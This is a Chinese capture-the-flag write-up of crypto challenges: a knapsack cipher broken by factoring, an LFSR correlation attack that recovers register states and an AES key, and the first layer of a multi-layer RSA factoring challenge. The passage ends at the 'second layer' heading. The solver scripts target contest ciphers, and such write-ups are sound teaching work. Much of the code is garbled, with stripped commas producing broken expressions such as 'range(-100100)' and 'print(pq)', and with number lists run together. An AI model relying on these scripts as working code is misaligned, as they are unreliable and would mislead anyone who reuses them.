XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

admin 2021年1月7日12:08:14评论334 views字数 108457阅读361分31秒阅读模式

crypto

backpack

exp

from Crypto.Util.number import long_to_bytes
import hashlib
from factordb.factordb import FactorDB

pubkey1 = [89304481584980158021283088823281231448274465224079249007901064154441164061572462223261203962450395053207722058203078621356212626327665128736430555510540587756492810631316383256436821527775527029387868591027227114588911678778082852655807647174600927485272054567709073550263224207393730046374263602728385453677513161210371636997980008606226256974377951962398772276899465129972920296618888305228553763888349929869452906913207961356024471070722867992154768071435498099761877527891787843399607738403571774904988093876394589966674936999874439487122266345456863111997333746849993721974356113317272843155603261736908629228707701575835271272591605577591802044415696283455808704326672962794379590102220784814172790435216333648138918979505111039240708639521760816682407449489752555519620354319760880408341203784979444240730241916093004984783460442695248972212036512095804650249239173022135012448610601825604790232512461958651106955127387143045541137888642563860975937901706865018447703146732133822269353135150135343250922385157336606691113467656757816272119159073518765207351496436426220389313605957953675938260367574821821311023615680297897683796913018378741091065551145288971507838450744027935877817596660119264448575391922537201396793890879833007958271994899138735843840009102174425475807418556357911197690569017395871764656325370927817895559884528450869793588232818563595957024320603210192712897309845466003179797851216030160509635644865492273322609485553856227597863183476319578951922730474277692811379893159173815978947596106028670497594829893034975631561990762311301433524879741494651748781578099538120660121242373529683716357608486535410731213006062118676484185817880424326770536557150303105933824209290894021216338526833675151552966912104645447010608169263418648807143777888214216042519938038896995946945313801848671609179142937664988232375347265690092433580458957146883249411617517363284504621679022947857344162470581028681642252310839511473928672081235290684939038725569802873950713374367105147046246951936278490143697535668718355257356757397162943467116168646952843548196692822869858147173355808432347642177409834695593988568654093880259319076185174829986129699428432704694012965953809258741499375989928034589495599025314631225980457481299496401729474779951265731561299022880060024386216016347981333455985695384969303001219310800817399066672799284769248469150060965540040869953333639964238462425675030482770020434976666819982119231215648801090268043630732603510406736395386262440054513402181536630175520336819769341572498386965535166669210470093145326716928624919348276758333460523504657266336205936202580368098815050043115995906699348747305790313831030590203849876099673218582414855645234160513280361901435417486588625699395215968924041035035834814256872881780631056224536039753445868045051099089138597682353835785757841701032686380218961886497071952687664909025814677701539448094324853597634383245451290733885079967454282372222490702932441972167128079503372714118611124535146622098608356404003168635705930556226757331104930417820201184317852965278113378665552465208910099149265458777806514652703447030890879330162463272938890325732635172351544543966520123163646944516286631758617577227198330151207748476768423315358100286491793742017065344036792682064144921955087633069619803762863135060193044947791830685991736240188143156753009652247389591534299586706514363770791911380989386420339758361901776213849835021658887171015093292256345538810692491751082944358550754664612817316445491237541815045594944478496274023443772770223172516842117448918001118039420938638511158625842105872445900055901971271931925557931292105293622295002795098614965962778965646052646811147501397549328482981389482823026323405573750698774701241490694741411513161702786875349387333462570196032496665495786833420071807619823128509801624833274789341671003590381395661382103035502562116484024313222901626733564766447201217943525895291965483335836678238322360060897176294764598274166961833911916118003044858814738229913708385]
ct1 = 249003040588627839758979396486400138564443
t = abs(2*pubkey1[3]-pubkey1[2])
for i in range(-100100):
   f = list(factor(t+i))
   if len(f) == 2:
       print(t+i)
       print(f)
       p = f[0][0]
       q = f[1][0]
       c1 = ct1%p
       c2 = ct1%q - q
       pt = c1 - c2
       if hashlib.sha1(long_to_bytes(pt)).hexdigest() == "51d6169bcc32acb2a4d3b1a8d9c6ed0c9a909974":
           print(pq)
           nonce1 = long_to_bytes(pt)
           break


pubkey2 = [1161708957404849562760645233195903400054438353573254636981830903201663131951658685233507082300968324649016820013164487796581558484049885715141630889111102130256360263677343682117455943065046963232757394199191045541100065822438982907792420249428575708154445555510651281801318386718410587279715325234816163786970995955227505003291121949145389621012471428785407722277775532564090065919335920529363985766261740808189348549797761419250164556097457269481050623571439270386113888776628204503295966796026468199288313087040409467427489888069515455442481259620092086076837592820982547488778147124197871002661653934137181213186230899393226495017240763772772124062981004604303841879641049127374438907356209893550133082696706859060659311544969661324750862041218068480321087238767702342929133829876253791528800764224822273493087285330480074917353422194195981322110633232388598613159531285319951843025395687438150986643652877656595742174444614248090794724084429873482288557701161942993065797656426599759215126978437190754933218264388282978710872223071240453973620422149367411442788120014334666101322026813822515811259522802873108930074497295937721228162911540973890663799456636194625014381242117870338229947580877349776412543920183558887290204240024916882878832519552585661275970742074548803076371210589351691149737904386748882062719600917794436451021200124584414394162597762928306379853710372744015383760529467584557486895219337444103135980045889721822551060006229220719708129888146415318992685518637200769021723109308000020808944179059194078142961921382035511072835483428870978720267917894156164698016528942783889286155465400001040447208952959703907148096069101775553641774171443548936013395894707808234900826447139194704307773270000052022360447647985195357404803455088777682088708572177446800669794735390411745041322356959776215388663500002601118022382399259767870240172754438884104435428608872340033489736769520587252066117847991910769433175000130055901119119962988393512008637721944205221771430443617001674486838476029362603305892399431474309135952234024747587967573377405029251976615008038561561139919598264626849596271949881401952286242038673715456797611701237379398378668870251462598830750401928078056995979913231342479813597494070097614312102293685772839880585061868969918933443512573129941537520096403902849798995661567123990679874703504880715605130160475061207126262756153086792023463869034843050327432235564742525732996269683336161356346976417979256030192222837276112864688248847805933679782406866148678035478713275995396045160966893842886351469471025653060194725318806081336657185925062749404023542651250077654160568920902804654027601019240835227454693244485833101385126594030406683285929625313747020117713256250388270802844604514023270138005096204176137273466222429165507106329701520334164296481265687351005885662812519413540142230225701163506900254810208806863673311121458275380173694704609394158929214565634111275734483255939707532464696356782555552463121767251991291825449182969381448684735230469707946460728281705563786724162796985376623234817839127777623156088362599564591272459148469061185469873160071877179111878605884065239790007327566714869719317472376906077628158020954796415255871420349802347811335877592760363641765002982789260641970064231891884048870129264710006617952184343716665215113881793611739056679387963801818208825014913946303209850321159459420244350646323550033089760921718583326075569408987586952833969398190090910441250745697315160492516057972971012217532316177501654488046085929166303778470451217139383870619324695135375925989353117192721796844273040209583915335382683693044061026126991720876460152711227743116360819960922485116827303011892132802326861196954593147853414931380312936513087608417497957978767462559177551881333179080507956110077522522355945060704302308418022034454836520041844645007776676425546673880212795887759406665895402539780550387612611779725303521511542090110172274182600209223225038883382127733369397206025635804756666923820936100108184369228091969157439311255678827599388874848762324082167875804214344851711030128179023783334619104680500540921846140459845787196556278394137996944374243811620410839379021071724256751506408951189166730955234025027046092307022992289359827813919706899847218712190581020541968951053586212862575320447559458336547761701251352304615351149614467991390695985344992360935609529051027098447552679310697154922799245520629129547045703613007829245949090712171710498708203462979766525763853212108951131339074557422195075966304836520115817600491627502207921678879959176087945823784695078451105981345630279344592452152829625179999532296516345259911722193762141656527728663779055794251946597277188440301527523848742612319828564578267946194669205919173107795808325057014451831985958727032516488009724403904049223845576217171955174820827081339730973346029595865538979041625285072259159929793635162582440048622019520246119227881085859775874104140120903274567502481724008518614943751055978215133912951351167435027916911893786002216935102775188236938321106246562569845235746066850830272075001586060269012204588509382403416322577430777727292632487334834760369610071232812849226178730334254151360375007930301345061022942546912017081612887153888636463162436674173801848049061640642461308936516712707568018750396515067253051147127345600854080644357694431823158121833708690092403043082032123065446825835635378400937519825753362652557356367280042704032217884721591157906091685434504620125154101606153272341291781768920046875991287668132627867818364002135201610894236079557895304584271725231012477050803076636170645890884460023437995643834066313933909182001067600805447118039778947652292135862615503438525401538318085322945442230011718997821917033156966954591000533800402723559019889473826146067931307751914397246708463924171295550930885683225606028919429768010127477830342803809802566720243066476619697224339182214032430550042958303285991851784662434199337939788671804182617428452037010860549809172305841992061799700201070162152750214791516429959258923312170996689698943359020913087142260185054302749045861529209960308998500219555430464523407702262973516030241191471902782758699970459088263385102721456285366025004991939159112792921977771523226170385113148675801512059573595139137934998522954413169255136072814268301250249596957955639646448888576161308519255657433790075602978679756956896749926147720658462756803640713415062512479847897781982331664904850883775970746369540923940477955090718210882067166190886059693963636680729154882296988175245689956483245242544188798537318477046197023897754535910544103358309544302984698181834036457744114849408762284497941836688182798177367154674757204547582550464612979118834327000004282303670527647344368290308835979568202534091834409139908868357733737860227379127523230648955941716350000214115183526382367218414515441798978410126831879634015776777716256751061274699358699308086671178026117202283837956097250388998171642311797930648830677293981700788838885812837553063734967934965404333558901305860114191897804862519449908582115589896532441533964699085039441944290641877653186748396748270216677945065293005709594890243125972495429105779494826622076717165541622204933058900017625463289988289910544426029557080010256824712469177477578685102502356367708788387698277081110246652945000881273164499414495527221301477854000512841235623458873878934255125117818385439419436183431602558956602171812643563178743378646829449147221023547792482916135256217110879232599047985502875101472337619982872016385327145589789456179954926080672134422653191245181960855899562716475732729828863271155551211688099914360081926635727948947280899774630403360672113265956225909804279497813582378663649144316355777770584404995718004096331786397447364044988731520168033605663297811295490213974890679118933182457215817788890317126644679362354226339755706972444855560576935104151203671011884151252866059225016390363258175436656744888227679420404535108578507015732218470583972078018160587771900287697494282292143841289908789749770758961728781138397102022675542892535078661092352919860390090802938859501438487471411460719206449543948748853794808647756919855101133777144626753933054617645993019504540146942975071924373570573035960322477197437442689740432492845992755056688857231337696652730882299650975227007347148753596218678528651798016123859871872134487021649156276160783006781732964925680619900717667448218774868489288996257831410605106706288576272818254248113112627813808039150339086648246284030995035883372410938743424464449812891570530255335314428813640912712405655628181115237203475032880049468617511221485586055397333548875867477341195870613124392780101041663457137706282229055761860173751644002473430875561074279302769866677443793373867059793530656219639005052083172856885314162452788093008687582200123671543778053713965138493333872189668693352989676532810981950252604158642844265707216468560165815771655681442077454514899186745026730652536302866294438750178848826530546960366682571789129000224388997836802195725215447584628820802102918476293094435059559748931768856091848860691775292306434623649242542406959261244353094159609896706567072206525807863789710750081512039023898936406383028611050467929898288826916654497078555510151621769219157465977951963303302123908273235233996915679453652710840401141697217291874276629469493116114997566346043452033636058953159156342373086594452908002540244984471511175464602061764463891383147347465580574987831730217260168180294765795781711865432972264540012701224922357555877323010308822322021120356438100236619619982370821925471518393163242891734681687688996501859690896232583476732504409111912030105601782190501183098099911854109627357591965816214458673408438444982509298454481162917383662522045559560025280089109525059154904995592705481367879598290810722933670421922249125464922724058145869183126102277978002264004455476252957745249779635274068393979914540536146683521096112456273246136202907293459156305113898903113200222773812647887262488981763703419698995727026807334176054805622813662306810145364672957815255694945016600111386906323943631244490881851709849497863513403667088027402811406831153405072682336478907627847472513300055693453161971815622245440925854924748931756701833544013701405703415576702536341168239453813923736851436962248544499184327160483200767092336315678085181826703172351274408696696360674761275575786204826398725171848112427224959216358024160038354616815783904259091335158617563720434834818033738063778789310241319936303592405621361247960817901208001917730840789195212954566757930878186021741740901686903188939465512065996861160008225114529577250897743237365834960373139318704604587334882667668126670552224642472918156221136007988362220503095649881260722571088160391637863557630019921340472126696105720812971238285291934325370041436819982825307135179021740048293679160537582819934707484363589877715156308202405861040963047255368972739564751900343126535675895108700241468395802687914099673537421817949388575781541012029305204815236276844863697823759502076326783794755435012073419790134395704983676871090897469428789077050601465260240761813842243184891187975100316339189737771750603670989506719785249183843554544873471439453852530073263012038090692112159244559398758715786315649461192497699178667269223556862838552036707542711720096936452162499831811249157906685580364794218789315782473059624884958933363461177843141927601835377135586004846822608124991590562457895334279018239711318151198613137631869105618386552930519832628972273160061032452851907914836809729573607986822560752658998976907559930656881593455280919327646525991631448613658003051622642595395741840486478680399341128037632949949518742419354056741711957228316373857260575076577332273190612636040650780505387204014197694051529545732550165937120967702837085597861415818692863028753828866613659530631802032539025269360200709884702576477286627510246856048385141854279893070790934643151437691443330682976531590101626951263468010035494235128823864331375951654742212002942645867547725928235678818880390643051732418110233275514935935817212257040910233055078436923922478330760787046974018562349376803024711321287479241837445073994051376475863857682080901897054632959985071112391653803935234870092811746884015123556606437396209187225369970256882379319288410404509485273164799925315619582690196761743504640587344200756177830321869810459361268498512844118965964420520225474263658239996260280979134509838087175232029367210037808891516093490522968063424925642205948298221026011273713182911999817714048956725491904358761601468360501890444575804674526148403171246282110297414911051300563685659145599990661490706753704692896261890379315364972513914812449770948277468138998790731105551717336072553017231484780000621658153469295798225990275616312449493186493396512837916741863522667755451712530207476060110975514991700403250336964354202328576759615278918493772101660325204021337254545890076795220410367245337274013771150636506661251684821771011642883798076394592468860508301626020106686272729450383976102051836226686370068855753182534120463043809627391959099814101708586974919460842394083708785886474925721676695030801929129196233636333713127102315219048136959795499070508542934874597304211970418543929432374628608383475154009645645981168181668565955115760952406847989774953525427146743729865210598520927196471618731430419173757700482282299058409083428308167625001769757577395683004824491980024818519395632436389527586370395170057716504710368384954185621095145552258586978926021261446497396096022363185784530404560499483090214619356029907059685631411659359863862255770411292934894630106307232486980480111815928922652022802497415451073096780149535298428157058296799319311278859198510871480873868982970672099756805385813806602753844240622483642221918709524208348742264942890172234398559925543574043693449148533604987840269290690330137692212031124182111095935476210417437113247144508611719959191673914877941804692550905222295447652622644993328292813700849187293497639228768295142539694616118736604102378831544466942397930836898085039701324805158393039781603956528703847667814621003555282433062016350463061626098777423107045734335008210160823137240945126229182083374305471193040135257876638572109511199439320115751272540084123258566118483278248160361992373918973785742170416755632703218638137099400817521014890772278583131362700420616292830592416391240801809961869594868928710852083778163516093190685497004087605074453861392914921018121803853797897642905675939633680426267308608626729614941718491382262138199105816135371261626874765043105090609019268989488214528379698168402131336543043133648074708592456911310690995529080676856308134373824975254530450963449474410726418984908420106566827152156682403735429622845565534549776454033842815406718691260262726522548172473720536320949245421005328341357607834120186771481142278276727488822701692140770335934563015518252313513196113283505324481851735643561041052022345955456685079513187568409064909205806593209247473256219637458575289318013225763819765504984386998547899943483322511702135583899689761532503002491859621915370532518649262953679964534211191072389987983626926165898034952064841278058099116925969742084747048233866356895112593246314768399822671055955361949939918134630829490174760324206390290495584629848710423735241169331784468205012428581565336560163516974165996005759866496787282627346849308689470439770865451509092135099422336926801025062142907826682800817584870829980028799332483936413136734246543447352198854327257545460675497111684634851253107145391334140040879243541499001439966624196820656836712327172367609942716362877273033774855584231772562655357269566707002043962177074950071998331209841032841835616358618380497135818143863651688742779211591154859473794071170981818457008241621056529184998689036917754406358531109864333395298676291717337289574062337742973689703558549090922850412081052826459249934451845887720317926555493216669764933814585866864478703151180761065456241130192262851449416651570301489592312090982983829866370795427931065032626046388227898071520012324267297358439025429396629220645720913199381387958772450371432099234156758132487242699966530075247137644425825956187564528871827806865838853235182916241203777037606379988169972579975434057009197178539733803488619271175977945545981805947271526550512482083774548658716941577128217587880861724886493002959351592244695447362776341859804963283497818729606315025472110806169691902243337923855319583927101594544584531346896980257278828086328999797150162169917367767199757977473365112442686571212446950399715820279593518620002623842469086835140431644998985750810849586838835998789887366825562213432856062234751998579101397967593100013119212345434427021582249949287540542479341941799939494368341278110671642803111737599928955069898379655000655960617271708177154108257469775149520633907065246003641035049030385111759243835426017606623065699855248462173378764362788857705412873488757476031695353262300182051752451519255587962191771300880331153284992762423108668938218182186334724072090781234188395674122557807079452104897428031485039235594522363503482632920785574436920369095469316736203604539061709419783706127890353972605244871401574251961779726118175174131646039278721846018454763188629878025746032755355336115886885757939056368864188761416488085636648552723586866187169852502805770278469431493901287301637767766805794344287896952818443209438070824404281832427636179343309358492625140288513923189203666514159845635647071226327967745653957434855878943899350298147180100028612924503765922019277120573869460183325707992281782353561316398387282697871742793947194967514907359005001430646225188296100963856028683189347113636263298855720005003938238242582682701353801489520065851274812986854869439082914939398394958147799467355681813164942786000250196911912129134135067690074476003292563740649342743471954145746969919747907380473367784090658247139300012509845595606456706753384503723800164628187032467137173597707287348495987395373316571458621225624980377323782284852608649202868030905693973523650814736958520457488784233782631837504777282828572931061281249018866189114242630432460143401545284698676182540736847926022874439211689131591875238866641428646553064062450943309455712131521623007170077264234933809127036842396301143721960584456579593761943691627605202842553686722798919252123120669806969276784638710121328402564391599982880689372656871833725589758722342645714985102178294818315996240233965954180647906368905129469686623754184686024242560630248526195749219111713228574925510891474091579981201169829770903239531844525647348433118770923430121212803151242630978746181979028112951860928925452829873468468910840787942595976758080519509545773473094312685633750345148911673774998951405647593046446272641493673423445542039397129798837904025975477288673654715634281687517257445583688734947570282379652322313632074683671172277101969856489941895201298773864433682735781714084375862872279184440166784048419621599058376397570774602167554703191922281463021234770607340130261395116527395338207937073926728339202420981079952918819878538730108377735159596114073151061738530367006513069755826369766910396853696322183742209112628737211402336590049896848057869140620402119300536969389852994413064987088822293445559946486072339173015640377060525094054923811947301981279129500328131954967614329444590542487015013846056163556512474811695865078201885302625470274619059736509906395647501640659774838071647222952712435075069230280817782562409200525522398732763959935588570451544988718725320877339956844102467096254076611278383332319610297664590816162423089582070897194267760314825820188005285560030785017319672795102861450001533553996231332640424079734123926320067611126819716019625293864725570643347134417908261952886803188109046192439390776854009091477966471056273646535063357436026906363666679874159385929014729373063309662292678563192809913161841243504350965510359761368232675316787180134531818333399370796929645073646865316548311463392815964049565809206217521754827551801321045783077356269645353482811402621484601567559632217501937264384990765876005019449841728433498131705559425247275112394504685673575651254369353729177031140800919263231550201691847341872813457165615626384234205801551236375561972523428367878256271846768645885155704004596316157751008459236709364067285828078131921171029006920386497510634950886520215001094858473846345112784006156935311582716097979731591957224837736548963422945468101932487553174754432601075005474292369231725563920030784676557913580489898657959786124188682744817114727745096624377658737721630053750273714618461586278196001539233827895679024494932897989306209434137240855736397167529318896017026054958505948724819398477124733619839449714367755133140436512206154488020629579779956686398376465944800851302747925297436240969923856236680991972485718387756657021825610307724401031478988997834317418823297240042565137396264871812048496192811834049598624285919387832851091280515386220051573949449891719816298736186972546570367805044094684873097883393434231168475952424612966051641174197726797603759104817259039814936809348627328518390252204734243654894169671711558423797621230648302582058709886339880187955240862955818279303747515470387272774980759295848891390182622540967473510933827043309095065170227396746829133772115213233442715745300689383172112101152725550626144255752536590912782945873234507323042059093957193039244538580352587675548803736821383942932479326090814822654705161000490016197496746352155092372375039520554131979472941912938377744018684106919714662396630454074113273525805002450080987483731760775461861875197602770659897364740206738085727816757981406810509339398576539759710268856765795633214156676765725025517332961472746875164827972454152398716317164375116424520259455944390731977742601364430448838163563447102289666234541952670132604181512270761993581585821875582122601297279721953659888713006822152244190817817235511448331172709763350663020958613538099679079291093779106130064863986097682994435650341107612209540890861775572416558635488167533151050830676904983953964554688955306503243199304884149721782517055380610477044543088778620827931774408376657552621573846494997003197241527148506078679058216354175007230120729185819765402333921055183709393460977640067804178692324749850159862076357425303933952910817708750361506036459290988270116696052759185469673048882003390523934616237492507993103817871265196697645540885437518075301822964549413505834802637959273483652444100169549161719278195185877412327326553682229794396897769827422130054343099485085491021729397753340877155796178852312229058361053162761529719004741973612033676422275535428185723998264805607073585809068336438974714737674300111145291805265813807648595023709868060168382111377677140928619991324028035367929045341682194873573688371553557264590263290690382429751185493403008419105568883857046430999566201401768396452267084109743678684418575827863229513164534519121487559274670150420955278444192852321549978310070088419822613354205487183934220929191559778117643056047063689809769935813813796709818619281797060032658930530060576275146340762024855427884690522003510288987613979999272768585303699685902883357079584339822990968454446487652996527401156013634707223862110017551444938069899996363842926518498429514416785397921699114954842272232438264982637005780068173536119571970549727301923723968064191188195055553839505510325307143947857541591540780668486992754763489276624460638298527486365096186198403209559409752777691975275516265357197392877079577039033424349637738174463831223032164926374318254809309920160477970487638884598763775813267859869643853978851951671217481886908723191561151637246318715912740465496008023898524381944229938188790663392993482192698942597583560874094345436159578057581615436213280336036072160863839228246540338069025207936492319490238637296509172689425166169073070155458088331771810664016801803608043191961412327016903451260396824615974511931864825458634471258308453653507772904418418063673020856342762721039679542686265701436590565967298434395387333125923477943977087239614156896432322558903183651042817138136051983977134313285071829528298364921719769366656296173897198854361980707844821616126118720537955986419435361083639621296197042278481905474999963121674507083277054257615067507249428581675881098235648886787655434623613655395462727291380585752167206753360836649273434347119004283294509706036484057409682598706404015510547586150648950876099518594862187234351302256466013747351354072183496042283119118177067091127198151720849886482611576964490005128209893645200154931865805157742538552955132538275908761484948453135907278036955611972769859866122019806271947218661568640606412874254065450710726623378899336517266318317943683851390184778059863849299330610099031359736093307843203032064371270327253553633116894496682586331591589718421669509238902993192464966530504951567986804665392160151603218563516362677681655844724834129316579579485921463475461945149659623248326525247578399340233269608007580160928175818133884082792236241706465828978974296069159423506733471635563049869823594138302870359690679869654349869155828687382261677389165505788038470549484752217579503744591552283331721091533154576043731879797665807201628546523616529785549025397263529128109527464011087897518722957761416658605457665772880218659398988329036008142732618082648927745126986317645640547637370197485684601338126253891530224644575170570286639634773398725268990401108375092354933591905047121778416190969874284230066906312694576511232228758528514331981738669936263449520055418754617746679595252356088920809593191417618158057869010281119753517390098811765002548525103226545524338295055620804941354949720674020282052489570880907902893450514055987675869504940588250127426255161327276216914752781040247067747486033701014102596478544045395144672525702799383793475247029412506371312758066363810845737639052012353387374301685050705130123927202269757233626285139969189673762351470625318565637903318190542286881952600617669368715084252535256891196360113487861681314256998459483688117573531265928281895165909527114344097630030883468435754212626762856598180056743930840657128499229741844058786765632964140947582954763557172048815015441734217877106313381469299090028371965420328564249614870922029393382816482070473791477381778586024407507720867108938553156690753149545014185982710164282124807435461014696691408241035236895738690889293012203753860433554469276578345381142793922078653250997629647821393423611242676799681036929729706970192464426908734977259141231239958569731367139696103932662549881482391069671180562133839984051846486485348509623221345436748862957061561997928486597356984805196633127494074119553483559028106691999202592324324267425481161067271837443147853078099896424328715989543726755499382151194317503042425757452794259996136976144164801207601521130808011436611279857049922087799477186337774969107559715875152121287872639712999806848807208240060380076056540400571830563992852496105039973859316888748455377985793757606064393631985649990342440360412003019003802827020028591528199642624805551620331266661677116744972300942350493383660093354648269247654084827395274637491297179712692229933969904067581016563333083855837248615047117524669183004667732413462382704241369763731874564858985634611496698495203754050828166654192791862430752355876233459150233386620673119135212068488186593728242949281730574834924760191202541408332709639593121537617793811672957511669331033655956760603424409329686412147464086528741746238013610127070416635481979656076880889690583647875583466551682797838030171220466484320607373204326437087311900675063535208317740989828038440444845291823937791733275841398919015085610233242160303686602163218543655950361445779646118822079417222564175786689520811622385064696742446877842808230784687963598002745405028475059794072288982305941103970861128208789334476040581119253234837122343892140411539234398179900137270251423752989781781906881606938894322388013017509135441894839022664491721064002228082237314649152979070420940192875544990823114154108807028216292763784823170307826393529377305633959842838814212982758017385691049450590321945525414115570770544035141081463818924115851539131967646886528169799214194071064913790086928455247252951609727627345778538527201757054073190946205792576956598382344326408489960709703553245689504346422762362647580486381366170938889643732122717174191928385209190952185254361463795995031825255784190295237940070785272131478109911438546944482186606135858709596419260459547609262718073189799751591262789209514761897003539263606573905495564184780919418656368126101785179452548603907239656230197702543986233051964009421525692974669776926445205481952344366567170515215098591297870825206081228131707549306048172213932639999665584790544443083473567982807456525926452536624909820173780209089750661023059992801729705595383897337001794512695573517912763257197481837715129632262683124549100868901045448753305115299964008648527976919486685008972563477867589563816285987409188822068623283492856119972426877200806229587268433246441560175336880200805224481294551417517553670365693825988824547736118236614344542958105739655778553261500496190976231207228677827918591244377883285114241186036930346122738680591183071722714790528698278892766307502480954881156036143389139592956221889416425571205930184651886136934029559153586135739526434913944638315375124047744057801807169456979647811094470821278560296509232601172730867155519105377486934829530816029360770218260070473834237312585302860086771680311079851695058224167232284116305854828901355517046121216543208495784517698669904623469330306693918911020481125133847411047900881325625201230046478251458408950341707346659398256852476524877640174325335265779326723201323015126412807304862128126006150232391257292044751708536733296991284262382624388200871626676328896633616006615075632064036524086406300307511619562864602237585426836664849564213119131219410043581333816444831680800330753781603201826220320315015375580978143230111879271341833242478210655956560970502179066690822241584040016537689080160091311616015750768779048907161505593963567091662123910532797828048525108953334541112079202000826884454008004565938007875384389524453580752796981783545831061955266398914024262554476667270556039601000413442227004002283271460501346999180996735986135958471380790847243202730312105573595539763515971257360084571801800070776791461021507126435768238728360754399527981534571155550277634735882390805372619376041058421218556354889711451757748107535632178841193641803771997639907672855777751388173679411954026863096880205292106092781774448557258788985376781608942059682090188599881995383642788887569408683970597701343154844010264605304639088722427862939452168930105052433635857259180196766223224383137780486875173398216783453792181899039234480168902505714992701692265112495339401553754378272957393579183607622328832693402443366684649140527972358251970579101464331743549125530182177469341513452715084522592526534957445908146642366739661097047498824633412055550241396679226518211269697107895070045014071812619969208938843980572180564965378926582223255455970883268234724665876971810595212768947509552583599538441435073408507755911836287301142362346915678496456898331578420743357918320615833018513844737547762917997692207175367042538779559181436505711811734578392482284491657892103716789591603079165109211269884746537927435269273074191459000066989249822360312603901168700429384306005668475557406851591073829591056349423732689637176346365370957295000334946249111801563019505843502146921530028342377787034257955369149252817471186634481858817318268547864750016747312455590078150975292175107346076501417118889351712897768457891684549326010405783762168963316301786811775669988676267926207159228255716348859669165164181347500245622331422627366330824362663491668536317133564675797684207364514985558623815080377929069966621518252626858795912100113136831654121813317458342681585667823378988421036822574927793119075401889645349833107591263134293979560571986146128347842441055374085381490802178586875531582430410091248362757189066703911245107690904607226677846399307306417392122052768704269074540108929343776579121520504562418137859453335195562255384545230361333892481916998502164193984731925893318935163606338652309293925137975094858069476885153139890846657315087563449504623789612211593303668340453186330300448648612595810452801044398301964149180610537320249930632464795385047977260994258065689855788510503129007748549412256321692095758767219786558763864900402809206626621217552603244152725433260405682653410634887618601205808753215034858796329288381700173998942979176125602867695023519796266327831786002800747011733998157828630659660685409438277157000964736174671790899667501423711684364475166781780139158930014003735058669990789143153298303427047191385785004823680873358954498337507118558421822375833908702116256620147252049761432325919278229553209068662355246460476401171746974390968849615162526698047635949585024785902801508593993487985349332015778382964677575759407656904833532536668139615868871509979379595747548355123929514007542969967439926746660078891914823387878797038284524167662683340698079344357549896897978737742132040109540114948224305282005706862857521266050365792302726874903605693596321967558801357484073425650468755110200547700574741121526410028534314287606330251828961513634374518028467981609837794006787420367128252343809510027385028737056076320501426715714380316512591448075681718725901423399080491889700339371018356412617188216754756625916019025062426226869203202518501897221223553763116457180918791587231069297394200981139630886391225819980137303432572120368331702262318761702828745949522360810562642611919783871554443944463799273832436241129099900686517162860601841658511311593808514143729747611804052813213059598919357772219722318996369162180756454995034325858143030092082925565579690425707186487380590202640660652979945967888610986115949818458109502822749751716292907151504604146278278984521285359324369029510132033032648997298394430549305797490922905469156159945766304801982565760218087637701091799769436453598692778936903181206834208180109719987881030292531667807997288315240099128288010904381885054589988471822679934638946845159060341710409005485999394051514626597]
ct2 = 2392102864029606341713283405820558372624777050411410395969738848933509252455825087540044061561675779855718270
print("stage2")
t = abs(2*pubkey2[1]-pubkey2[0])
for i in range(-100100):
   f = FactorDB(t+i)
   #f = ecm.factor(t+i)有点慢用factordb查...
   f.connect()
   if f.get_status() == "FF":
       factlist = f.get_factor_list()
       print(factlist)
       p = factlist[0]
       q = factlist[1]
       c1 = ct2%p
       c2 = ct2%q - q
       pt = c1 - c2
       print(hashlib.sha1(long_to_bytes(pt)).hexdigest())
       if hashlib.sha1(long_to_bytes(pt)).hexdigest() == "2347411264fc395375fdfe3dbd6169283f3e4923":
           print(pq)
           nonce2 = long_to_bytes(pt)
           break
print(nonce1nonce2)

combinelfsr

相关攻击

本题考察的是非线性反馈移位寄存器的相关攻击方法

可以看到题目中使用了两个线性反馈移位寄存器,使用两个寄存器的初始状态生成了密钥对flag进行了加密。

由于每个状态的范围是 0-2**18

对两个状态一起进行爆破的复杂度是 2**36,是比较困难的。

继续往下看,题目对两个线性反馈移位寄存器的输出进行了combine,构成了一个 非线性反馈移位寄存器结构

def combine(r1,r2,mask1,mask2):
  (r11,x1)=lfsr(r1,mask1)
  (r22,x2)=lfsr(r2,mask2)
   return (r11,r22,(x1*x2)^(x2^1))

并且输出了1024*8个bit的结果。显然是要根据给出的结果去计算两个寄存器的初态。

这里就要用到相关攻击的方法。

我们可以枚举x1, x2,和寄存器输出的所有可能取值

x1 x2 F
0 0 1
1 1 1
0 1 0
1 0 1

我们发现 x1 == F 的概率是75%

x2 == F 的概率是25%

所以我们可以对R1单独枚举,并且用单独的lfsr代替非线性反馈移位寄存器的结果,如果和cipher相同的位数接近75%的话就认为枚举正确,而且题目给出的cipher的数据量足够大,足够在这种大量数据的基础下完成攻击。

同样我们也可以对R2进行枚举。

由于我们是对R1和R2单独枚举的,复杂度为 2 * 2**18,是可以接受的。

还原r1

def solver1():
   for r in range(1,2**18):
       R = r
       s = ""
       for i in range(512):
           tmp = 0
           for j in range(8):
              (Rout) = lfsr(Rmask1)
               tmp = (tmp << 1^ out
           s += chr(tmp)
       pb = correlation(sdata[:512])
       if pb > 73:
           print r
           print pb
           return r

得到R1是 13706

还原 r2

def solver2():
   for r in range(1,2**18):
       R = r
       s = ""
       for i in range(512):
           tmp = 0
           for j in range(8):
              (Rout) = lfsr(Rmask2)
               tmp = (tmp << 1^ out
           s += chr(tmp)
       pb = correlation(sdata[:512])
       if pb < 27:
           print r
           print pb
           return r

得到R2是90307

解密

还原了R1和R2之后按题目要求生成密钥直接解密即可。

R1 = 13706 # solver1()
R2 = 90307 # solver2()
from hashlib import sha512
import random
from Crypto.Cipher import AES
f = open('flag.txt','rb')
flag = f.read().decode('hex')
f.close()
key = sha512(str(R1)+str(R2)).digest()[:16]
aes = AES.new(key,AES.MODE_ECB)
print aes.decrypt(flag)

flag是flag{d0b570e1-5292-4381-9d71-d6edab490854}

rrssaa

题目总共用了3种不同的rsa加密需要我们逐层求解。

考察了3种不同的rsa攻击加密

第一层

rsa加密使用的公钥n是3个质数的乘积,且3个质数具有一定的联系

x = getPrime(290)
y = next_prime(21*x)
z = next_prime(3*x*y)

经过推算,可以发现最终的n约等于 21 * 21 * 3 * x**4

我们可以直接对 n 进行开发,得到近似的x的值。

guessx = iroot(n/(21*21*3),4)[0]

然后在附近进行爆破即可获得正确的x

完整的脚本如下

def generate(x):
   y = next_prime(21*x)
   z = next_prime(3*x*y)
   n = x*y*z
   return x,y,z,n
def solve_level1(n):
   guessp = iroot(n/(21*21*3),4)[0]-1000
   guessp = next_prime(guessp)
   while True:
       x,y,z,guessn = generate(guessp)
       if n == guessn:
           return x,y,z
       else:
           assert(guessn<n)
           guessp = next_prime(guessp)

这样就分解了n1

第二层

